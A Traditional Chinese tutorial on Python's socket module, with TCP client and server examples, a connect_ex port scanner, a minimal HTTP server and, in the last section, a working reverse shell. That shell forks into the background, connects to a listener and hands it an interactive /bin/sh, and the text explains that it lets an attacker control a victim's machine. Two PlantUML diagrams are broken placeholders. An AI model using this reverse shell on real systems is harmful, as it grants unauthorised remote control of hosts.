Socket 程式設計是網路應用程式開發的根本,讓不同主機上的程式得以互相通訊。Python 的 socket 模組提供了簡潔易用的 API,方便開發者快速構建網路應用程式。本文除了介紹 Socket 的基本概念、型別和常用方法外,也示範瞭如何使用 socket 模組建立 TCP 和 UDP 客戶端與伺服器,並進一步探討了 HTTP 伺服器和反向 Shell 的實作。透過理解 Socket 的運作原理和 Python socket 模組的應用,開發者能更有效地開發網路相關應用。
Socket Programming 介紹
在本章中,您將學習使用 socket 模組進行 Python 網路基礎建設的相關知識。socket 模組提供了所有必要的方法,能夠快速編寫 TCP 和 UDP 的客戶端和伺服器,用於編寫低階網路應用程式。
Socket 程式設計是一種抽象原則,允許兩個程式透過使用不同網路協定的 API 共用任意資料流,這些協定通常由作業系統支援,存在於網際網路 TCP/IP 堆積疊中。
本章將涵蓋實作 HTTP 伺服器、使用 socket 方法解析 IPS 網域和位址等主題。具體來說,本章將討論以下內容:
- 在 Python 中介紹 socket
- 在 Python 中實作 HTTP 伺服器
- 使用 socket 實作反向 Shell
- 解析 IPS 網域、位址和管理例外
- 使用 socket 進行埠掃描
- 實作簡單的 TCP 客戶端和伺服器
- 實作簡單的 UDP 客戶端和伺服器
技術需求
為了充分利用本章的內容,您需要具備一些基本的作業系統命令執行知識。同時,您需要在本地機器上安裝 Python 發行版。本章將使用 Python 3.7 版本,可在 www.python.org/downloads 下載。
在 Python 中介紹 Socket
Socket 是允許我們利用作業系統功能與網路互動的主要元件。您可以將 socket 視為客戶端和伺服器之間的點對點通訊通道。
網路 socket 是在同一台機器或不同機器上建立程式之間通訊的簡單方法。socket 的概念與 UNIX 作業系統中檔案描述符的使用非常相似。用於處理檔案的命令,如 read() 和 write(),對處理 socket 的行為也類別似。
網路 socket 的位址由 IP 位址和埠號組成。socket 的目的是在網路上進行程式之間的通訊。
Python 中的網路 Socket
不同實體之間的網路通訊是根據 Python 所開發的經典 socket 概念。一個 socket 由機器的 IP 位址、所監聽的埠以及所使用的協定指定。
在 Python 中建立 socket 是透過 socket.socket() 方法完成的。該方法的一般語法如下:
s = socket.socket(socket_family, socket_type, protocol=0)
上述語法表示位址家族和傳輸層協定。根據通訊型別的不同,socket 分為以下幾類別:
- TCP socket (
socket.SOCK_STREAM) - UDP socket (
socket.SOCK_DGRAM)
TCP 和 UDP 的主要區別在於,TCP 是導向連線的,而 UDP 是非導向連線的。
Socket 也可以按家族分類別。以下是可用的選項:
- UNIX socket (
socket.AF_UNIX),在網路定義之前建立,根據資料 socket.AF_INETsocket,用於 IPv4 協定socket.AF_INET6socket,用於 IPv6 協定
還有另一種 socket 型別——原始 socket。這些 socket 允許我們存取通訊協定,可以使用或不使用第 3 層(網路層)和第 4 層(傳輸層)協定,從而直接存取協定和接收到的資訊。使用這種型別的 socket 將允許我們實作新的協定並修改現有的協定。
原始 Socket
原始 socket 有兩種型別,使用哪一種取決於所需的應用目標和需求:
AF_PACKET家族:AF_PACKET家族的原始 socket 是最低層的,允許讀取和寫入任何層的協定頭。AF_INET家族:AF_INET原始 socket 將鏈路頭的建構委託給作業系統,允許分享操作網路頭。
您可以在 socket 模組檔案中找到更多資訊和範例:https://docs.python.org/3/library/socket.html#socket.SOCK_RAW。
現在,我們已經分析了什麼是 socket 及其型別,接下來將介紹 socket 模組及其提供的功能。
使用 Plantuml 圖表說明 Socket 通訊流程
@startuml
note
無法自動轉換的 Plantuml 圖表
請手動檢查和調整
@enduml
此圖示說明瞭客戶端和伺服器之間的 Socket 通訊流程,包括建立連線、資料傳輸和關閉連線的步驟。
詳細解說
- 建立連線:客戶端傳送 SYN(同步)封包給伺服器,請求建立連線。
- 伺服器回應:伺服器收到 SYN 後,回應 SYN-ACK(同步-確認)封包給客戶端。
- 客戶端確認:客戶端收到 SYN-ACK 後,傳送 ACK(確認)封包給伺服器,完成連線建立。
- 資料傳輸:客戶端和伺服器可以互相傳送資料。
- 關閉連線:客戶端傳送 FIN(結束)封包給伺服器,請求關閉連線。
- 伺服器回應:伺服器收到 FIN 後,回應 ACK 給客戶端。
- 伺服器關閉:伺服器傳送 FIN 給客戶端,通知客戶端連線將被關閉。
- 客戶端確認:客戶端收到 FIN 後,回應 ACK 給伺服器,完成連線關閉。
這個流程展示了 TCP 連線的建立、資料傳輸和關閉過程,確保了資料的可靠傳輸。
Python中的Socket程式設計
Socket模組介紹
在Python中,與Socket相關的型別和函式都包含在socket模組中。這個模組提供了建立TCP和UDP客戶端與伺服器所需的所有功能。
Socket的基本概念
在Socket程式設計中,大多數應用程式採用客戶端/伺服器(Client/Server)架構。其中,一個應用程式作為伺服器,另一個應用程式作為客戶端,雙方透過TCP或UDP等協定進行訊息傳遞。
- 伺服器:等待客戶端連線的應用程式。
- 客戶端:連線到伺服器的應用程式。
建立Socket物件
在Python中,使用socket類別建構函式來建立一個Socket物件,該函式接受通訊域(family)、Socket型別(type)和協定(protocol)作為引數。典型的建立TCP Socket的方式如下:
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
常用的Socket方法
無論是客戶端還是伺服器,都可以使用以下Socket方法:
socket.recv(buflen):接收來自Socket的資料,引數buflen指定了最大可接收的資料量。socket.recvfrom(buflen):接收資料並傳回傳送者的位址。socket.send(bytes):將資料傳送到指定的目標。socket.sendto(data, address):將資料傳送到指定的位址。socket.sendall(data):將緩衝區中的所有資料傳送到Socket。socket.close():釋放記憶體並終止連線。
伺服器端的Socket方法
在客戶端/伺服器架構中,伺服器提供了服務給連線到它的客戶端。以下是伺服器端可以使用的Socket方法:
socket.bind(address):將位址與Socket繫結,要求Socket必須在繫結位址之前開啟。socket.listen(count):啟動TCP監聽器,引數count指定了最大可接受的客戶端連線數。socket.accept():接受客戶端的連線,傳回一個包含客戶端Socket和客戶端位址的元組。
範例程式碼:伺服器端Socket方法的使用
import socket
# 建立Socket物件
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 繫結位址和埠號
server_socket.bind(('localhost', 8080))
# 啟動監聽
server_socket.listen(5)
print('伺服器正在監聽...')
while True:
# 接受客戶端連線
client_socket, client_address = server_socket.accept()
print(f'客戶端 {client_address} 已連線')
# 接收資料
data = client_socket.recv(1024)
print(f'接收到資料:{data.decode()}')
# 傳送回應
response = 'Hello, Client!'
client_socket.send(response.encode())
# 關閉客戶端Socket
client_socket.close()
客戶端的Socket方法
客戶端可以使用以下Socket方法連線到伺服器:
socket.connect(ip_address):將客戶端連線到伺服器的IP位址。socket.connect_ex(ip_address):與connect()方法類別似,但如果無法連線,則傳回錯誤碼。
範例程式碼:使用connect_ex()進行埠掃描
import socket
ip = '127.0.0.1'
portlist = [21, 22, 23, 80]
for port in portlist:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((ip, port))
print(f'{port}: {result}')
sock.close()
範例程式碼:基本客戶端與Socket模組的使用
import socket
# 建立Socket物件
print('建立Socket...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket建立完成')
# 連線到遠端主機
print('連線到遠端主機...')
s.connect(('www.example.com', 80))
print('已連線')
# 傳送資料
request = 'GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n'
s.send(request.encode())
# 接收資料
data = s.recv(1024)
print(f'接收到資料:{data.decode()}')
# 關閉Socket
s.close()
使用Plantuml圖表呈現客戶端/伺服器架構
@startuml
skinparam backgroundColor #FEFEFE
skinparam defaultTextAlignment center
skinparam rectangleBackgroundColor #F5F5F5
skinparam rectangleBorderColor #333333
skinparam arrowColor #333333
title 使用Plantuml圖表呈現客戶端/伺服器架構
rectangle "連線" as node1
rectangle "回應" as node2
node1 --> node2
@enduml
此圖示說明瞭客戶端與伺服器之間的連線和回應流程。
Socket 程式設計:實作 HTTP 伺服器與反向 Shell
簡介
Socket 程式設計是一種網路通訊的方式,允許不同主機之間的程式進行資料交換。本文將介紹如何使用 Python 的 socket 模組實作一個簡單的 HTTP 伺服器和反向 Shell。
實作 HTTP 伺服器
要實作 HTTP 伺服器,我們需要使用 socket 模組建立一個伺服器端程式,監聽特定的埠,並對客戶端的請求做出回應。
建立伺服器端程式
import socket
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mySocket.bind(('localhost', 8080))
mySocket.listen(5)
while True:
print('等待連線...')
(recvSocket, address) = mySocket.accept()
print('收到 HTTP 請求:')
print(recvSocket.recv(1024))
recvSocket.send(bytes("HTTP/1.1 200 OK\r\n\r\n<html><body><h1>Hello World!</h1></body></html>\r\n", 'utf-8'))
recvSocket.close()
程式碼解析:
socket.socket(socket.AF_INET, socket.SOCK_STREAM):建立一個 TCP socket。mySocket.bind(('localhost', 8080)):將 socket 繫結到本地主機的 8080 埠。mySocket.listen(5):開始監聽連線請求,最大排隊數為 5。mySocket.accept():接受客戶端的連線請求。recvSocket.recv(1024):接收客戶端傳送的資料。recvSocket.send():向客戶端傳送資料。
測試 HTTP 伺服器
要測試 HTTP 伺服器,我們可以建立一個客戶端程式,連線到伺服器並傳送 HTTP 請求。
建立客戶端程式
import socket
webhost = 'localhost'
webport = 8080
print("連線到 %s:%d ..." % (webhost, webport))
webclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
webclient.connect((webhost, webport))
webclient.send(bytes("GET / HTTP/1.1\r\nHost: localhost\r\n\r\n", 'utf-8'))
reply = webclient.recv(4096)
print("收到回應:")
print(reply.decode())
程式碼解析:
webclient.connect((webhost, webport)):連線到伺服器。webclient.send():傳送 HTTP 請求。webclient.recv(4096):接收伺服器的回應。
實作反向 Shell
反向 Shell 是一種特殊的 shell,可以讓攻擊者遠端控制受害者的主機。
建立反向 Shell 程式
import socket
import subprocess
import os
socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if os.fork() > 0:
os._exit(0)
except OSError as error:
print('錯誤:%d (%s)' % (error.errno, error.strerror))
socket_handler.connect(("127.0.0.1", 45679))
os.dup2(socket_handler.fileno(), 0)
os.dup2(socket_handler.fileno(), 1)
os.dup2(socket_handler.fileno(), 2)
shell_remote = subprocess.call(["/bin/sh", "-i"])
程式碼解析:
socket_handler.connect(("127.0.0.1", 45679)):連線到指定的 IP 位址和埠。os.dup2(socket_handler.fileno(), 0/1/2):將 socket 的檔案描述符複製到標準輸入/輸出/錯誤。subprocess.call(["/bin/sh", "-i"]):啟動一個互動式的 shell。